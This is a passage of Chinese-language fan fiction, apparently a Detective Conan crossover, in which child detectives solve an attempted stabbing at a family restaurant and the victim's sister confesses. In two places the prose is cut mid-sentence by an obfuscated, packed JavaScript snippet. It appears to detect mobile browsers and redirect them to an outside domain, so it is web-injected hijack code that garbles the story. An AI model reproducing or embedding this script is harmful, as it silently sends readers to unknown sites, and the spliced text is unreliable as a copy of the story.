转头却在镜子里面看见世良一脸凝重的表情,女孩抽出纸巾把手擦干,小动物一样的鼻子嗅来嗅去。 “呐,黑羽,你有没有闻到什么……铁锈味?”细细分辨了一下,才确定一不是错觉,而不是铁锈,“好像是血腥味?” 这么一说黑羽快斗好像也闻到了:“好像是!” 两个孩子对视一眼,都看见了彼此眼中的沉重。 是刚刚那个经过的男人?! 两人连忙往里面跑去,站在门口就能看到从第二个隔间门板下面缝隙慢慢流出来的血迹,绝对不是正常的出血量,世良真纯这种时候也顾不上是男厕所了,冲进去砸门: “叔叔?!你还好吗?!需不需要帮助?!” 可恶,没有反应! “世良,让一下。” 黑羽快斗从身上摸出铁丝,用力折成了一个圈,从缝隙中伸进去套住,三两下就反向扭开了锁——想要保护现场之前,要先确定被害人有没有抢救的希望吧! 原本靠在门板上的肥胖男人软软倒下,脱力的倒在血泊里,浑身上下衣着完好,一看就是精心准备过,并且价格不菲。衣衫完好,只是解开了皮带,一条深深的口子从腹部蔓延到侧腰,正在往外渗血。 黑羽快斗连忙扑上去,伸手摸上了他的脉搏,隔着一层厚厚的脂肪,还有跳动。 “还活着!” 世良真纯脱下外套裹在伤口上,初步检查没有其他外伤,从面色来看没有中毒,只是大出血,找彻哥或者红子都能救。 这时旁边隔间的门被打开了,走出来一个同样西装革履的男人,身形健硕,先看见了躺在地上不省人事的“死者”,然后是两个蹭的浑身血的小孩,发出了这辈子都不能想象的惊叫: “死人了——!” 88.杀人未遂3 被尖叫声吸引的客人们结伴赶来,里三层外三层地围在门口,这种情况工藤新一处理起来已经很有经验了,最重要的先保证被害人的生命安全: “所有人麻烦退后,留出治疗空间——快斗?!” “在呢!” 黑羽快斗刚刚拨通了急救电话:“……没错就是这个地址,拜托尽快赶过来,伤者现在已经昏迷,腹部到侧腰大概三十公分的划伤,出血量1200cc……” 世良真纯小心地挡住小泉红子,避免当众使用魔法被发现:“情况怎么样?” 会有生命危险吗? “可能是因为太胖了脂肪层厚的缘故,伤口没有太深,”小泉红子的治疗暂且比不过索菲亚队医和飞鸟彻羽,但是在这种情况下也是绰绰有余,“坚持到救援没问题,出血量没有想象中的那么大,也没有其他外伤,休克应该是晕血的缘故。” 那就好。 等到伤者情况稳定,世良真纯带上手套,尽可能减少对现场的破坏,小心地将被伤者压在身下的皮带抽出来,还有插进皮革和皮肉紧密相连的刀片。 世良真纯捏住刀片从衣角一划,布料立马分成两半,锋利的刀片在顶灯下闪着寒光——这个“密室”的构建方式并不复杂,患者衣着考究穿戴整齐,肚皮上的肥肉从腹部的勒痕来看是被皮带紧紧扎住,显然是要参加比较严肃或者重要的场合。 凶手事先将锋利的刀片插入皮带,被紧紧束缚的腹部对疼痛也不会那么敏感,等到伤者解开皮带的时候(一定是个密闭又落单的“密室”),刀片就会划开伤口,同时解决凶手的不在场证明和杀人方法。 世良真纯捏着刀片对着灯光照了照,没有指纹。 这种尺寸的刀片根本不可能立即致命,伤者有足够的时间进行自救,晕血是既不常见也不明显的病症,也就是说,极大的可能是熟人作案。 飞鸟彻羽姗姗来迟的时候,正赶上两个抬着担架的护士冲进去,路边还停着顶灯不断闪烁的救护车。 因为是先拨打的急救电话,所以出警还要再等几分钟。 松弛的周围紧张的气氛格格不入的少年坐在猫旁边,从侧拉链里面摸出小零食拆了吃。 “……你还真是沉得住气,”降谷零要不是现在鱼尾站不起来,帮不上忙,早就冲上去找线索了,“敢把孩子交给你带,他们几个的家长也真是心大。” 至少降谷零没发现,飞鸟彻羽带孩子和放羊有什么实质性的区别:都是找个地方随便一撒手。 “都这么大了,有什么好担心的?” 十一岁,又不是小孩了。 飞鸟彻羽自己十一岁的时候,名字都换了四个了。没想明白,难道要像喂养早成雏一样,把饭喂进嘴里才算“尽职负责”吗? “而且这个案子也不危险,”降谷零看见原属于自己的脸上,露出一个有些亢奋的表情,怎么看怎么违和,“我听到了贪婪和野心的跳动。” 要套话周旋的话有快斗,要破案的话有工藤和世良,要救人动手的话有小泉——飞鸟彻羽想不明白有什么好担心的。 远远看着几个小鬼身上,除了工藤新一还算干净,其他都没少蹭血,世良真纯更是自己刚杀了个人似的,飞鸟彻羽掏出手机编辑短信:【送四套衣服过来,两男两女,都是十一岁。】 【OK~】 “硬说起来的话,工藤和世良见过的经手过的案子可能比你还多。” 飞鸟彻羽伸出两个手指在降谷零面前,比了一个“V”字:“一般对于警察来说,部门所获得的经费有两种:第一种是来源于政府拨款,本质上是纳税人的钱,用来支付警察的薪水和设备以及一系列社会保障之类的东西;第二种是来源于社会捐款,不稳定但是也不用遵守工资条例,支配起来比较自由——前者稳定可以维持基本保障。” “但是这一点对于异常处理课来并不适用,政府养不起太多魔法师,”飞鸟彻羽勾勾食指,“因为本质上法律并不承认魔法的存在,所以相应地,也没有成规模相关产业链,和魔法有关的任何原料都可能被‘走私’,导致每一样和魔法相关的物件都可能被炒上天价,一根魔杖的底价至少要在美金六位数,才能勉强涵盖人力和物力成本——这还是在只使用基础材料的前提下,而魔杖其实是消耗品,基本上能用个十年都算是长寿。” “高昂的成本会劝退绝大多数人,而能使用魔法中有天赋的大概在百分之三,重重限制的后果就是能出来一个可用魔法师的价格堪比研究、制作并维护顶尖热武器。究竟需要多少人手也很难有定数,雇佣的少了,没有工作的那一部分就会流入市场,最后的结果大概是从事被私人雇佣或者走私之类,成为社会的不稳定因素,雇佣多了,且不说把这些‘危险分子’聚集起来会不会出事,财政方面就是最大的问题。” 这很正常,降谷零对日本的就业环境也很了解,公务员是并不受欢迎的职业,而钱少事多危险高压的警察更是其中“翘楚”。 飞鸟彻羽伸直食指,再勾勾中指:“所以我钻了制度的空子,通过第二种方式养活现在的异常处理课。其中另外拿出一部分钱,用作雇佣侦探的专门经费——顾问侦探,就像是福尔摩斯一样。” 这是工藤新一的主意。 “毕竟有魔法有脑子还要会断案的人才实在罕见。” 安吉拉在猫包里急得喵喵叫,爪子不断地抓挠拉链,然后被坏心的飞鸟彻羽一把拉好。 降谷零越听脸越黑:“所以你雇佣未成年?” “不方便领取的顾问,报酬会由专门的财政人员代为保管,直到成年或者其他,”飞鸟彻羽摊手,把产业交给龙来打理实在是个英明的决定,“总之别想让我欠人情,免费的才是最贵的。” 降谷零现在终于能很微妙地共情了,飞鸟彻羽每天脾气不好是应该的,将心比心要是自己,每天出钱出力事事亲为和罪犯斗智斗勇的同时还要给同事兜底……光是想想就觉得脑壳痛,总感觉日本的未来要完蛋了。 “你哪来那么多钱?” 不然你以为?飞鸟彻羽十岁就逃脱了组织,十七岁才开始付费上班,中间这几年总不能荒废了。 “很简单啊,重点是顺势而为,必要的时候推波助澜?” 说起生意经,飞鸟彻羽顶着猫咪的嚎叫又开了一包,嘴里有点含糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815167|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“比如说要求医药分离的时候赚了一笔,后来要求账号实名的时候又赚了一笔……掌握上下游产业之后,成本就会暴跌,然后就可以去开拓新的业务…… 不过勇气也很重要,飞鸟彻羽也没少签对赌协议。 降谷零终于发现了些许不对,总感觉飞鸟彻羽手里拿的小包装有点眼熟,怎么看怎么像之前黑羽快斗喂猫的东西:“你在吃什么?” “猫条。”飞鸟彻羽早就好奇这个玩意是什么味了,把最后一点鱼肉吃完,“不太好吃,你的味觉变异了。” 你还点评上了! 降谷零气笑了:“……给我一个不把你脸打烂的理由。” “这是你的脸。”飞鸟彻羽看起来有种非常真诚的欠揍,“是‘降谷零’吃的猫条。” 我当然知道你用我的身体吃的猫条啊! * 另一边,离开两个不靠谱大人的四个孩子正在努力破案。 世良真纯在治疗的时候拍了不少证据,四个小孩头碰着头凑在一起嘀嘀咕咕。 “我和新酱刚刚了解了一点情况,”黑羽快斗一脸正色道,“被害人原名小林勇太,是这家日料店代理老板小林怜美的亲哥哥,27岁,今天来这里的目的是想要和女友东谷凛求婚。” “从厕所隔间出来的那个男人名叫西宫世人,据说是被害人最好的朋友。” 工藤新一接过话头:“西宫承认自己有在偷偷暗恋东谷,据说是因为不想失去朋友才一时不知道该怎样开口和小林勇太坦白,在朋友和自己透露求婚消息的时候心生妒忌,决定要把求婚搞砸。” “被害人的父亲上个月从楼梯踩空进了医院,小林怜美接手了家里的店,兄妹之间感情融洽,其他客人反应从来没有见到过小林家兄妹争执冲突的情况,从店里求婚也是小林怜美的主意。” 小泉红子来回扯着衣摆,发现身上的血迹怎样也遮不住之后只好放弃:“被害人眼球状态和面部表现能看出来他长期昼夜颠倒,性生活频繁且紊乱,但是东谷身上没有这种情况。” 世良真纯翻出一张照片,是半截袖口,沾了一根狗毛:“看这个,小型犬的毛,只有袖口有但是小腿和鞋子很干净,这说明很可能不是直接接触的小狗,而是在别人身上沾染上的。脖颈处有一点香水的味道,女士香水,当季的流行款,绝对不是正常男人应该使用的款式,和东谷身上的味道不太一样。” “他可能是个同性恋。” 世良真纯补了一句:“有一个养了小狗的男朋友的那种。” 小泉红子再补充一句:“也有可能是短期的那种男朋友。” ——好烂的大人啊!X4 “那就是说东谷是有可能因为被骗婚的愤怒杀人?”黑羽快斗眨眨眼睛,“找同妻也太差劲了。” “也不排除是西宫为了给东谷出气的可能……”工藤新一蹙着眉头,双手十指交叉放在面前思考,“毕竟现在被害人没有生命危险,所以也不排除是没想杀人,仅仅只是想要给个教训。” 如果只是警告的话,那么“犯罪动机”的门槛就会大大降低。 三个嫌疑人,会是谁呢? 89.杀人未遂4 工藤新一在等待警察的过程中,仔细观察着周围人。 事实证明,被害人的人缘真的很烂。 伴随着救护车刺耳的尖叫声,没有朋友/亲人陪同的家伙孤零零地接受着急救。 险遭骗婚的“恋人”很淡然地站在一旁,从手包里面掏出镜子和口红补妆,事不关己高高挂起的样子,似乎是认定了人渣有此下场是罪有应得。 朋友看起来有几分纠结,时不时地转头看看外面,又扭过头来看看自己的心上人,最后还是选择遵从本心——反正医院抢救,自己去了也帮不上什么忙。 唯一看起来真心实意地在为被害人的安全担忧的,只有在其他食客的转述中,和他关系还不错的妹妹。小林怜美看起来有些六神无主,麻木地坐在前台捂住脸,一言不发,手指上有零星的伤痕,看起来像是从厨房干活的时候被割伤的。 工藤新一直觉自己已经抓到了破局的关键,但一时间还未能理清思路,一定是有什么细节,被注意但是又忽略了…… 小林怜美将脸埋在自己的手心里,以防自己控制不住上扬的嘴角被旁边人发现。 太好了。 一切正如自己预想的那样,在有条不紊的进行着。 从一开始小林怜美就没打算直接毙命,刀片捅进去的部分也是基于自己充足的剔肉经验算好的,综合计算了伤口深度导致的血流量,厕所隔间中血液蔓延之后被发现的时间,东京救护车的到达时间,出警时间。 确定了想要救下“被害人”,就必须先警方一步破坏现场,更别提现在还在现场玩侦探游戏的小鬼了,他们只会进一步破坏证据。 没有人证没有监控没有直接证据确定不了作案时间,警方根本不可能抓住自己…… “凶手是你吧?” !!! 小林怜美被吓了一跳,但还是迅速调整好情绪,挤出一个看起来无辜又和善的表情:“小弟弟,你在说什么呢?” “我没乱说话,”工藤新一很认真地又重复了一遍,“是小林店长把刀片插进被害人皮带里的对不对?” “没有证据的话不能乱说吧?” 小林怜美有点心虚,但说不上心慌的程度。就像是皇帝的新衣被街上的小孩当场叫破,但是皇帝毕竟是皇帝——你又没有证据,女人扬起嗓子: “这位小朋友的家长在哪里?” 飞鸟彻羽好整以暇地看着工藤新一,工藤新一也望眼欲穿地看着飞鸟彻羽,用眼神祈祷对面不要在这种关键的情况想出什么新奇的点子:彻哥,拜托拜托。 “在这里。” 飞鸟彻羽推着坐在轮椅上裹得严严实实的人,怎么看怎么不像正经人,好在降谷零的壳子自带严肃效果,就算是胡扯也比别人多几分可信度:“我叫降谷零,是这孩子哥哥的朋友,这是我的驾驶证。” 然后拍拍坐在轮椅上想法设法降低自己存在感的降谷零:“这是那孩子的妈。” ……那你妈还挺新潮的,染了个白毛还烫卷发。 降谷零瞳孔巨震,墨镜下的眼睛死死盯住飞鸟彻羽,从来没想过自己的脸上居然可以做出这么欠揍的表情,用只有两个人才能听见的声音咬牙切齿道: “不要把创造力用在这种地方啊!究竟是什么样特殊的家庭背景,才会出现妈妈带着四个孩子和二十三岁的外男吃饭的情况啊!” 飞鸟彻羽觉得招惹降谷零可太有意思了,塞壬骨子里面喜欢愚弄人类的恶劣基因被全部发掘了出来,凑近了和他耳语道: “就是旁人想象中的那种意思。” 一旁的食客本来还在起疑,为什么这两个人这么古怪,现在看了只觉得世风日下,人心不古。 降谷零发誓,自己在竭尽全力抑制着将拳头砸在对面面上的冲动。 三分原因是因为,虽然他自己是“只要受到挑衅,就必定会反击”的性格,但是不打招呼就率先动手不是。 七分原因是因为对方的身体实在差劲,说不清楚是因为交换了身体自己不适应,还是因为自己刚刚接触魔力的排异反应,又或者两者皆有之,现在一动气就头晕目眩眼前发黑,还有侧边隐隐约约的偏头痛,折磨的前二十三年的人生履历就和“病弱”挂不上钩的降谷零苦不堪言,实在心有余而力不足。 ——剩下的九十分是因为对面是自己的脸。 “你脑子有病?” 飞鸟彻羽觉得降谷零还真难伺候,不管怎么搞都不满意。自己没造谣的时候总觉得自己在造谣,现在真的造谣了,当着他的面造谣,人赃并获供认不韪,然后还是不高兴。 他不高兴飞鸟彻羽可就高兴了,故意顶着一张灿烂的笑脸,摊手: “反正我现在是降谷零。” 降谷零的壳子也不是完全没有好处,比如飞鸟彻羽之前一直想做一些不太合适用自己身份的事情……反正自己现在是降谷零,丢的不是自己的脸。 “说的好像你现在是我,我现在不是你一样,”降谷零气死了,几乎要把一口牙咬碎,好在塞壬的牙齿足够锋利且坚固,“你不怕我现在都给你抖出来。” 飞鸟彻羽眯眯眼睛,几乎能听见那颗不属于自己的心脏,在胸膛里剧烈的跳动。 突然……有点心动了怎么办? ……好像不是有点。 【飞鸟彻羽】的价值绝大多数来源于这副壳子,如果能换到一副新的身体里面,就能完全摆脱过去,重新开始。 不是莱瑞安,也不是香槟,过去的阴影都不用承担,不用再被困在那具残破的身体里面苟延残喘,飞鸟彻羽有足够的时间,可以完全脱离豺狼的追捕,养精蓄锐也好,远走高飞也罢。 这也许是个一期一会的机会。 飞鸟彻羽后知后觉地意识到了这一点,一个可以重新选择自己人生的机会, 至于失去魔法,不得不衰老短寿,飞鸟彻羽这个身份社会性死亡——反正自己本来也没打算活太久,有舍有得的道理飞鸟彻羽明白,他不贪心。 真好啊,没有研究价值,不用像一味药材一样活着。 飞鸟彻羽看着降谷零,耳羽、头发、尾巴、鸳鸯眼……感觉也没有那么的违和不是吗? 反正也没人会细究自己一颦一笑的意义,这张皮囊下的灵魂究竟是谁又有什么关系? 谁会在意呢? 降谷零听飞鸟彻羽说话的时候被气得够呛,现在飞鸟彻羽闭嘴了又觉得心底发毛,总觉得不说话讨嫌的家伙根本不是在反省自己的错误,而是在谋划什么更了不得的坏事。 “你在打什么鬼主意?” 飞鸟彻羽垂下眼眸,从“自己”的口袋里摸出一罐止疼片,在瓶盖里倒出两粒,拿水一起递给降谷零。 ——偏头痛是治不好的,发作的时候也没有特效药,除了用止疼片缓解之外别无他法。 ......还是算了。 长了一张好皮囊加好嗓子,阿阵都嫌弃地不行,要是穿着别人的皮的话,阿阵就更觉得恶心了吧? 想起琴酒飞鸟彻羽又觉得有点憋屈了,拉平嘴角失去了玩弄降谷零的兴趣: “我可是被很多罪犯高价悬赏呢,别对我那么残忍——长得不好看,想得到还挺美,我光这张皮相就值两千万。” 什么叫皮相就值两千万?说得好像他卖过一样。 但是降谷零很识趣地没问,问了又能怎么样呢?问了他就会说吗? “道德绑架?”只许你迫害我,不许我反击。 “是啊。” 另一边成熟的侦探工藤新一没理会两个不靠谱大人的勾心斗角,湛蓝色的双眼很认真地锁住犯人: “你明明知道我不是在胡说——只是杀人未遂,积极自首的话,可以申请从轻处理。” 但是对面显然不想从轻处理,所以注定要辜负了小侦探这副好意。 “我听不懂你在说什么——去和你的朋友们玩吧好吗?” 既然死不承认的话,工藤新一就只好选择拆穿她了: “其实你的作案手法很高明,时间、动机、手法、证据……都做了很全面的考虑,我一开始也被你绕了进去,觉得证据不全,所以考虑到是之外的人作案的可能。” “但是这么想其实是错了,我很快意识到这是陷入了推理的误区,这场案件的关键不在于完整的作案流程,事实上事情的真相从一开始就展现在我们眼前了。” 工藤新一递给小林怜美被一只证物袋装起来的刀片。 小林怜美看这两个孩子这样信誓旦旦的样子,真怀疑自己有什么纰漏,但还是拎起袋子,对着灯光看了又看,除了上面干涸的血迹,什么也没发现,又松了一口气。 “小朋友,随随便便就指认别人是罪犯的游戏可不好笑——这位家长,麻烦您来管管可以吗?”女人恰到好处地流露出几分憔悴,“兄长刚刚发生了这样的情况,我真的没有余力去应付这样的污蔑。” 飞鸟彻羽忙着跟降谷零斗嘴,哪有功夫管她。 被冷处理的小林怜美有点无措,但好在贴心的工藤新一不会让犯人被冷暴力:“就是什么也没有,关键就在这里,没有指纹,没有皮屑,没有油脂……什么都没有。” “因为凶手带了手套。” “延迟杀人、伪造密室和不在场证明,凶器毫无疑问是插入皮带的刀片,是被害人自己松开了系着断头台的绳索,那么现在问题来了,是谁将绳子的另一头塞进被害人手里的?” “被害人衣着整齐,说明是在清醒的情况下被捅入了刀片,而这就是本次案件的关键,凶手是能够在被害人身边,合理戴手套靠近而不被怀疑的人。” “排除掉所有不可能选项,最后剩下的那个,就是事件的真相。凶手就是你——刚刚在后厨处理了刺身的小林怜美小姐!” 被发现了。 真正被拆穿的时候,小林怜美的心情不是自己预演了那么多次就可以抚平的。 “证据呢?”小林怜美听见自己佯装镇定的声音从喉咙里挤出来,自欺欺人式的,“很精彩的推理表演,只是推理的话,没办法作为指控的证据吧?” “当然有证据,快斗?” 黑羽快斗从厨房的门框边探出脑袋,提着被证物袋密封的乳胶手套,仔细一看上面还有一点稀薄的血水。 “手套,刚刚从后厨的垃圾桶里面翻出来的,可以证明小林姐姐在之前确实有戴手套工作。” “我还在后厨找到了还有磨刀石,这么锋利的刀片很难在外面买到,是小林姐姐用自己厨房的磨刀石自己打磨的吧?” 工藤新一适时补充道:“把刀片送去化验的话,应该可以检测出来和磨刀石所带的元素是相吻合的——以上两点就可以证明是你亲手制作了凶器,并将其用在了自己血亲身上。” “……还有吗?” 在所有自己费心隐瞒的真相被血淋淋的摊开在眼前的时候,小林怜美反而诡异的镇定下来了,在高压下的大脑运转地飞快: 只有这两个证物的话,只要将它们毁掉,就没有对症了! 说干就干,小林怜美劈手夺下工藤新一和黑羽快斗手里的两只证物袋,飞快地一起丢进了燃着的炉子上,透明的塑料外皮和内里的证物一起,被明亮的火苗吞噬,烧黑,再也看不出之前的形状。 没有证据的话,谁会相信几个孩子的指认呢? “拍下来了吗,世良?” “那当然了!”藏在角落里面的女孩不满应声,黑洞洞的摄像头挡住自己的眼睛,“才不会在这种关键的时候掉链子!” 小林怜美这时候才像是被钝物击中,眼前一黑。 如果自己刚刚毁坏证物的行为都被拍下来了的话,那叫什么? 做贼心虚? 不打自招? “啊,还有一件事情,你刚刚毁掉的‘证物’是假的,”工藤新一这种时候还不忘给给她补上一刀,“手套是快斗随便拿的,刀片也是从后厨的刀上面敲下来的,然后从磨刀石上面磨了两下。” 小泉红子对着证物的形状和厚度临时用魔法扣下来的。 “什么……意思?” 小林怜美像是颈椎生了锈,僵硬的几乎没办法扭转。 工藤新一打破了她的最后幻想:“就是说,证物还在的意思。” ……怎么可能呢? 怎么能这样?! 小林怜美一时接受不了,刚刚自己还占尽优势,料敌先机,怎么顷刻之间就局势反转,被逼迫到了凶途末路。 被拆穿了我怎么办? 被巨大的落差和恐惧击垮,小林怜美突然暴起,对着就在自己身边的工藤新一扑了过去。 闭嘴! 都是你的错! 为什么要拆穿我?! 这件事自始至终和你有什么关系? 就算发现了,像其他不想招惹麻烦的食客一样,说点不痛不痒的话糊弄过去不久行了? 谁叫你非要惹祸上身的? 早就等在一旁防她狗急跳墙这一手的飞鸟彻羽一把扯住工藤新一的衣领,将他扯到一边。 小林怜美扑了个空,踉跄了几步,然后被不知道从哪里伸出的一节“椅子腿”绊倒,滚在地上摔得不轻。 小泉红子将早就准备好的自白药水泼在小林怜美身上,无色的无色的药水迅速蒸发成气体,被小林怜美吸进口腔鼻腔。 工藤新一挣扎着去掰扯住自己衣领的手,险些被“降谷零”巨大的手劲给勒死:“松……开……” 飞鸟彻羽松开手,降谷零默默将尾巴重新缩回到盖在自己“大腿上”的毛巾下面,假装什么都没发生过。 药水奏效很快。 小林怜美趴在地上挣扎着跪坐起来,身体压迫着声带和气管,发出几声怪笑。 “这家店是从我的爷爷那一代建立起来的,爷爷死后由父亲继承,然后再是我……我哥。” “我知道,从小到大,家里什么好东西都是先给哥哥的,即使他是个无能懒惰又愚蠢的人渣,而我怎么努力都没有用。” “考大学的时候,同样是没有考上自己心仪的大学,哥哥就可以在家庭的供给下,备考三年,最后被一个烂到都叫不出名字来的地方录取,而我只能被选择着回家继承家里的店,每天和后厨的各种厨余垃圾打交道,捏出一个个寿司,学着煮乌冬面,给来来往往各种没脑子还事多的客人一个个陪着笑脸。” “怜美啊~哥哥去上大学,毕业之后进入社会打拼,我们的宝贝女儿就在家继承家里的店好了。” 小林怜美苦笑一声,不知道是在说给谁听:“凭什么呢?明明我最开始是想学临床医学的。” 那个时候的女孩不懂,以为只要顺从一下,自己委屈一下,就可以换得全家人的安定。 ……家人不就是这个样子吗。 于是小林怜美就开始了,每天起早贪黑,像是过冬的松鼠储备坚果一样,攒下来钱,然后被讨厌的乌鸦发现霸占,一切推翻,再重头再来,于是周而复始,好像只有时间在往前走,其他的再没有什么长进。 从一开始就对这个吸血鬼一样的,血缘上的兄长没有什么期待,小林怜美每每看着臃肿肥胖的身体在柜台翻钱的时候,总是表现的温柔又顺从,带着心底按捺不住的快意。 像是在养猪场的场主满意地看着眼前越长越胖的肥猪,等到足了秤就会拉到屠宰场去卖。 拿吧,迟早有一天,他会从一个吸食家庭血液的水蛭,成长成家里人也供养不起,只好将手伸向社会,然后被当作恶心的虫子一样清理掉的垃圾。 ——这就是食客们提到的,兄妹关系和睦吧。 但是小林怜美也一直都知道,也不过是一点无能为力者自欺欺人式的幻想罢了,直到后来很久之后,在忙到无法喘息的恍惚间,都会忍不住假设: 要是当时没有退让就好了,离开家,勤工俭学,去贷款,去兼职养活自己,如果当时能够拿出勇气,是不是就不用被困死在这个狭窄到喘不过气的小小厨房里。 “我一直是个迟钝又懦弱的人,没有釜底抽薪的勇气,又总是后知后觉,要在错过了机会之后很久,才会蜷缩在小角落里面苟延残喘,偶尔幻想一点未选择的道路。” 被想象美化过的道路总是再美好不过,有纰漏的地方被反复斟酌,采用自己所能幻想到的任何办法,绞尽脑汁地向着自己最期待的方向去发展,一切的瑕疵都会被想象力小心铲平,就像是洁白细腻的奶油被弄平在松软甜蜜的蛋糕胚上。 即使小林怜美早就知道这是假的。 但是有时候一退再退,也没有自己的容身之所。 毕业之后,不学无术的人渣接连换了几项工作,每次在一个地方呆不久就要嫌累辞职,从最开始的假装在找工作,到后来堂而皇之地醉死泡烂在酒精里,即使是父亲不慎从楼梯滚下住院,也没有去看一眼。 于是小林怜美开始了医院和饭店两边跑的艰难时候,没想到父亲醒来的第一句话是: “把家里的店,交给勇太继承吧。” 母亲是沉默懦弱的性子,往常在家中的时候,她声如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825123|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚊讷的意见总是会被忽略的那一个,虽然她也没什么自己的意见,只是充当男人的传声筒。 冰冷又尖利的言语,被她“润色”之后,就能熬成甘甜润肺的砒霜。 那天破天荒地解释了很多,什么哥哥马上要和女朋友结婚了,没有一点安身立命的底气怎么行?哥哥也一定不会放着怜美不管的,我们是一家人对不对? 那一瞬间,小林怜美想了很多,千言万语汇成一句话,那我怎么办呢? “结婚的话,丈夫会有工作的。” 小林怜美想说得很多,但在那时候却说出来最不相干的一句: “他该怎么处理带血的生肉呢?” ——这叫什么回答啊? 小林怜美很刻薄地在心底嘲笑,不会到时候在砧板上昏倒吧? 但是对面的回答更烂,衬托之下,连小林怜美那个不知所谓的问句都显得有内涵了起来,小林怜美的回答还能听出来,脑子至少还是正常的。 “怜美会帮哥哥的,对不对?” 看着对面躲闪的眼神,小林怜美再一次后知后觉。 哦,反正他们已经决定好了。 “从那一刻开始,我就意识到,之前的我简直是大错特错。” 把长此以往积压在心底的怨念吐出来之后,小林怜美感觉轻松了很多,就算是现在被立即枪毙也没所谓了。 “我错在醒悟的太晚了,就应该从一开始,从第一次意识到这件事开始,就将事情进一步往更坏的地步发展的时候,就把这种倾向扼杀在摇篮里……” 之前的自己真是不知所谓,早知道做出行动是这样的痛快,从一开始就应该长痛不如短痛的。 工藤新一上前两步,给她一个迟来的拥抱: “一直以来都很辛苦吧。” 小林怜美静静侧耳,听着这个孩子沉稳的心跳声,像是此起彼伏的海水缓缓退去,漏出躺在沙滩上的贝壳。 “……他会怎么样?” 工藤新一意识到,她是在问被害人会不会有生命危险。 “晕血加失血过多导致的休克,抢救及时所以可能需要住几天院。” 太好了,不用因为这种人渣毁掉自己的一生,杀人未遂主动自首的话,不用多久就可以开启新的生活。 姗姗来迟的警察终于推开了紧闭的大门,处理在场的案件。 其他几个孩子将手里的证物交给警察,开始阐述着案件经过。 小林怜美看着对面,黑羽快斗那双和极其相似的眼睛,慢慢一次环视了一圈,越过穿着制服忙来忙去的身影间隙,最后精准定位到了,在或是同情或是鄙夷的人群中,唯一一个闪着兴奋的眼睛。 那个金发黑皮紫灰色眼睛的男人。 之前的我还真是大错特错: 我怎么能容忍别人这么作践我? ——海水倒灌往往是海啸的征兆。 “……真有趣对吧?” 飞鸟彻羽对工藤新一的推理秀百看不厌,也有意岔开话题,双臂抱胸给降谷零搭话。 “一点点细碎的纰漏,就可以成为撕开整张假面的突破口,像是循着血腥味跋涉几公里的鲨鱼一样,死死咬住猎物不放。” 平心而论,飞鸟彻羽真挺喜欢工藤新一的,就像是喜欢自己储物室里面那些里琅满目的亮晶晶一样。 很聪明的脑子,头骨的形状也很棒,头顶的呆毛也很别致,脸长得也还算凑合…… 好想整个摘下来,泡到福尔马林里——做成标本的话,可以保存很久吧? 坐在身旁的降谷零没由来地打了个寒战,浑身发毛:“……你早就知道谁是凶手了吧?” 从一开始就神神叨叨的,什么“贪婪和野心的声音”。 但那和推理无关。 飞鸟彻羽非常擅长从一群别无二致的人中,辨别出谁是凶手,沾了人命,但那和思考过后得出结论不一样,硬要形容的话,更像是一种“熟能生巧”。 就像是人类很难分辨乌鸦与乌鸦之间的区别,而在乌鸦眼中,想要分辨出来同类却很容易——塞壬见过的凶手太多了,也不以人类自居。 对于飞鸟彻羽而言,人与人之间本质上并无区别,想要辨别出来隐秘在大同小异的皮囊之下,被血腥味浸透的灵魂算不了什么。 “不知道呢。” 餐厅的大门又被推开,进来一个神色匆匆带着墨镜的男人,对着正在处理现场的警察出示了自己的证件,径直朝着飞鸟彻羽和降谷零的方向走来,将手里的纸袋塞进降谷零的手里再匆匆离开。 尽管只有短暂的接触,降谷零还是很敏锐地注意到了对方冰冷的双手,还有墨镜下线形的瞳孔。 打开一看,是刚买好的四套衣服。 看起来和降谷零差不多年龄的小警察凑过来,估计是今年新入职,手里捏着一根录音笔,还有个小笔记本,看来是刚听完陈述案情:“您好,是工藤新一和世良真纯小朋友的监护人是吗?想问一下放不方便一会去警局做个笔录?” 还有一些案件的细节没有敲定,希望可以后续再补充一下。 “不方便,”飞鸟彻羽很真诚,“我们家的孩子才十一岁,现在惊吓过度了想要早点回家休息,是不是?” 工藤新一&世良真纯:真的假的?我们惊吓过度了? 两个孩子愣了一下,立马心领神会。 工藤新一遗传自影后有希子的演技,尤其擅长演小孩,扁嘴伸手扯住飞鸟彻羽的衣摆,缩到家长后面,装得还真很像那么回事:“哥哥我好怕,我们赶快回家吧?” 世良真纯演不出来,只好把脸埋在旁边小泉红子身上,一抖一抖的,偶尔哼唧两声,还是假哭。 小泉红子:你可别真笑出声了。 小警察:??? 刚刚你俩陈述案件和推理过程的时候可不是这么回事?! 不过也不是必须找两个十一岁的小孩子做笔录,警察了解情况之后,转头找在场另外两名洗清嫌疑的案件相关人员补全。 “哥——!我们很棒吧!” 犯人被终于姗姗来迟的警察拷走,黑羽快斗蹦蹦跳跳地凑到飞鸟彻羽面前:“新酱刚刚是不是超——级——厉害,就像是侦探小说里面的福尔摩斯一样!” 黑羽快斗对这一类的推理书籍不太感兴趣,但是架不住耳边总有个人在不厌其烦地推荐和分享,所以工藤新一力荐的小说黑羽快斗也基本都看过。 还记得发现自己在新酱的推荐下真的去读了,而且可以和讨论剧情的新酱真的很开心——黑羽快斗希望自己的朋友开心。 